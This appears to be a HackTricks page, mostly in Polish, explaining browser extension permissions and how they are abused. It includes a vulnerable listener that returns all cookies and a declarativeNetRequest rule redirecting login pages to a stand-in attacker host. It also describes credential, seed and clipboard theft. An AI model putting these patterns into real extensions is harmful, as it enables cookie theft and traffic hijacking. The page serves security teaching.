BrowExt - permissions & host_permissions

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

permissions

Permissions są zdefiniowane w pliku rozszerzenia manifest.json przy użyciu właściwości permissions i pozwalają na dostęp praktycznie do wszystkiego, do czego przeglądarka może mieć dostęp (Cookies or Physical Storage):

Previous manifest deklaruje, że rozszerzenie wymaga uprawnienia storage. Oznacza to, że może używać the storage API do trwałego przechowywania swoich danych. W przeciwieństwie do cookies czy localStorage API, które dają użytkownikom pewien poziom kontroli, extension storage can normally only be cleared by uninstalling the extension.

Rozszerzenie zażąda uprawnień wskazanych w swoim manifest.json i po zainstalowaniu rozszerzenia możesz zawsze sprawdzić jego uprawnienia w swojej przeglądarce, jak pokazano na tym obrazku:

Możesz znaleźć complete list of permissions a Chromium Browser Extension can request here oraz complete list for Firefox extensions here.

host_permissions

Opcjonalne, ale potężne ustawienie host_permissions wskazuje, z którymi hostami rozszerzenie będzie mogło wchodzić w interakcję za pomocą apis takich jak cookies, webRequest oraz tabs.

Następujące host_permissions zasadniczo pozwalają na dostęp do wszystkich stron:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

To są hosty, do których rozszerzenie przeglądarki ma swobodny dostęp. Dzieje się tak, ponieważ gdy rozszerzenie przeglądarki wywołuje fetch("https://gmail.com/") nie jest ograniczane przez CORS.

Nadużywanie permissions i host_permissions

Cookies

Uprawnienie cookies pozwala rozszerzeniu na dostęp do wszystkich cookies przeglądarki. W this blog post to uprawnienie zostało wykorzystane poprzez podatny skrypt w tle, aby wykorzystać rozszerzenie przeglądarki i przekazać atakującemu wszystkie cookies przeglądarki użytkownika ofiary, który odwiedził złośliwą stronę. Podatny kod po prostu odsyłał wszystkie cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Karty

Ponadto host_permissions odblokowują też „zaawansowaną” tabs API funkcjonalność. Pozwalają rozszerzeniu wywołać tabs.query() i nie tylko otrzymać z powrotem listę kart przeglądarki użytkownika, lecz także dowiedzieć się, która strona internetowa (tzn. adres i tytuł) jest załadowana.

Caution

Not only that, listeners like tabs.onUpdated become way more useful as well. These will be notified whenever a new page loads into a tab.

Uruchamianie content scriptów

Content scripts nie muszą być zapisane statycznie w manifeście rozszerzenia. Przy wystarczających host_permissions, rozszerzenia mogą też ładować je dynamicznie, wywołując tabs.executeScript() lub scripting.executeScript().

Oba API pozwalają uruchamiać nie tylko pliki zawarte w rozszerzeniu jako content scripts, ale także dowolny kod. Pierwsze pozwala przekazać kod JavaScript jako string, podczas gdy drugie oczekuje funkcji JavaScript, co jest mniej podatne na injection vulnerabilities. Mimo to oba API mogą wyrządzić spore szkody, jeśli zostaną niewłaściwie użyte.

Caution

In addition to the capabilities above, content scripts could for example intercept credentials as these are entered into web pages. Another classic way to abuse them is injecting advertising on each an every website. Adding scam messages to abuse credibility of news websites is also possible. Finally, they could manipulate banking websites to reroute money transfers.

Niejawne uprawnienia

Niektóre przywileje rozszerzeń nie muszą być deklarowane jawnie. Jednym przykładem jest tabs API: jego podstawowa funkcjonalność jest dostępna bez żadnych uprawnień. Każde rozszerzenie może być powiadamiane, gdy otwierasz i zamykasz karty — po prostu nie będzie wiedzieć, do jakich stron internetowych te karty się odnoszą.

Brzmi zbyt nieszkodliwie? tabs.create() API jest nieco mniej nieszkodliwy. Może być użyte do create a new tab, zasadniczo tak samo jak window.open(), które może wywołać dowolna strona. Jednak podczas gdy window.open() podlega pop-up blocker, tabs.create() isn’t.

Caution

An extension can create any number of tabs whenever it wants.

Jeśli przejrzysz możliwe parametry tabs.create(), zobaczysz też, że jego możliwości wykraczają daleko poza to, co window.open() może kontrolować. I chociaż Firefox nie pozwala używać URI data: z tym API, Chrome nie ma takiej ochrony. Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update() jest bardzo podobne do tabs.create(), ale modyfikuje istniejącą kartę. Złośliwe rozszerzenie może na przykład dowolnie załadować stronę reklamową w jednej z twoich kart i może również aktywować tę kartę.

Kamera, geolokalizacja i inne

Pewnie wiesz, że strony mogą żądać specjalnych uprawnień, np. aby uzyskać dostęp do twojej kamery (narzędzia do wideokonferencji) lub lokalizacji geograficznej (mapy). To funkcje o dużym potencjale nadużyć, dlatego użytkownik za każdym razem musi potwierdzić, że nadal chce tego udzielić.

Caution

Not so with browser extensions. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Zazwyczaj rozszerzenie zrobi to zaraz po zainstalowaniu. Po zaakceptowaniu tego monitów dostęp do kamery jest możliwy w dowolnym momencie, nawet jeśli użytkownik w danym momencie nie wchodzi w interakcję z rozszerzeniem. Tak, użytkownik zaakceptuje ten monit tylko jeśli rozszerzenie naprawdę potrzebuje dostępu do kamery. Ale potem musi zaufać rozszerzeniu, że nie będzie nic nagrywać w tajemnicy.

With access to your exact geographical location or contents of your clipboard, granting permission explicitly is unnecessary altogether. An extension simply adds geolocation or clipboard to the permissions entry of its manifest. Te uprawnienia dostępu są następnie przyznawane implicite przy instalacji rozszerzenia. Złośliwe lub przejęte rozszerzenie z tymi uprawnieniami może więc tworzyć twój profil przemieszczania się albo monitorować twój schowek w poszukiwaniu skopiowanych haseł, nie dając ci żadnych oznak tego.

Dodanie słowa kluczowego history do permissions entry w manifeście rozszerzenia daje dostęp do history API. Pozwala to pobrać całą historię przeglądania użytkownika naraz, bez czekania, aż użytkownik ponownie odwiedzi te strony.

Uprawnienie bookmarks ma podobny potencjał nadużyć — pozwala odczytać wszystkie zakładki przez bookmarks API.

Uprawnienie storage

Rozszerzeniowe storage to jedynie kolekcja klucz‑wartość, bardzo podobna do localStorage, której mogłaby użyć dowolna strona. Dlatego nie powinno się tam przechowywać danych wrażliwych.

Jednak firmy reklamowe mogą też nadużywać tego storage.

Więcej uprawnień

Manifest V3 rozdzielił dostęp do stron od uprawnień API: permissions nadal zarządza uprzywilejowanymi API (cookies, tabs, history, scripting itp.), podczas gdy host_permissions kontroluje, które originy te API mogą obsługiwać. MV3 również uczynił host permissions runtime‑grantable, więc rozszerzenia mogą być dostarczone bez żadnych i później wyświetlić monit zgody przez chrome.permissions.request() — wygodne dla legit least‑privilege flows, ale też nadużywane przez malware do eskalacji po zdobyciu reputacji.

Ukryta odmiana to declarativeNetRequestWithHostAccess (Chrome ≥96). Zapewnia taką samą możliwość blokowania/przekierowywania żądań jak declarativeNetRequest, ale pokazuje słabszy monit instalacyjny niż uprawnienia host <all_urls>. Złośliwe rozszerzenia używają go, aby cicho uzyskać zdolność „block/redirect on any site”; testuj monity za pomocą chrome://extensions/?errors i chrome://extensions/?id=<id>.

declarativeNetRequest dynamic rules pozwalają rozszerzeniu przeprogramować politykę sieciową w czasie działania. Z dostępem host <all_urls> atakujący może to wykorzystać do przejęcia ruchu lub data exfil. Przykład:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome podniósł limity reguł MV3 (≈330k static / 30k dynamic), więc duże zbiory reguł są wykonalne dla przechwytywania / wstrzykiwania reklam.

Najnowsze wzorce nadużyć

  • Zainfekowane aktualizacje łańcucha dostaw: Skradzione konta deweloperów wypychają aktualizacje MV3, które dodają <all_urls> oraz declarativeNetRequest/scripting/webRequest, aby wstrzykiwać zdalny JS i wyciągać nagłówki/treść DOM.
  • Opróżnianie portfeli: Dostęp do hosta plus storage i tabs pozwala zainfekowanym rozszerzeniom portfeli eksfiltrować seedy; skradzione klucze API Web Store były używane do dystrybucji złośliwych buildów.
  • Kradzież ciasteczek: Każde rozszerzenie z cookies + szerokim dostępem do hostów może odczytać ciasteczka uwierzytelniające pomimo HttpOnly — traktuj tę kombinację jako zdolną do kradzieży poświadczeń.

Zapobieganie

Polityka Google dla deweloperów wyraźnie zabrania rozszerzeniom żądania większych uprawnień niż niezbędne do ich funkcjonalności, co skutecznie ogranicza nadmierne prośby o permisje. Przykładem przekroczenia tych granic było rozszerzenie dystrybuowane wraz z przeglądarką zamiast przez sklep z dodatkami.

Przeglądarki mogłyby dalej ograniczać nadużycia uprawnień rozszerzeń. Na przykład Chrome’s tabCapture i desktopCapture APIs, używane do nagrywania ekranu, są zaprojektowane tak, aby minimalizować nadużycia. tabCapture API może być aktywowane tylko przez bezpośrednią interakcję użytkownika, na przykład kliknięcie ikony rozszerzenia, podczas gdy desktopCapture wymaga potwierdzenia użytkownika dla rejestrowanego okna, zapobiegając potajemnemu nagrywaniu.

Jednak zaostrzenie środków bezpieczeństwa często skutkuje zmniejszeniem elastyczności i przyjazności rozszerzeń. The [activeTab permission] ilustruje ten kompromis. Została wprowadzona, aby wyeliminować potrzebę żądania przez rozszerzenia uprawnień do hostów w całym internecie, pozwalając rozszerzeniom na dostęp tylko do bieżącej karty po wyraźnej aktywacji przez użytkownika. Ten model jest efektywny dla rozszerzeń wymagających działań inicjowanych przez użytkownika, ale zawodzi w przypadku tych, które potrzebują działań automatycznych lub pre-emptive, tym samym kosztem wygody i natychmiastowej reaktywności.

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks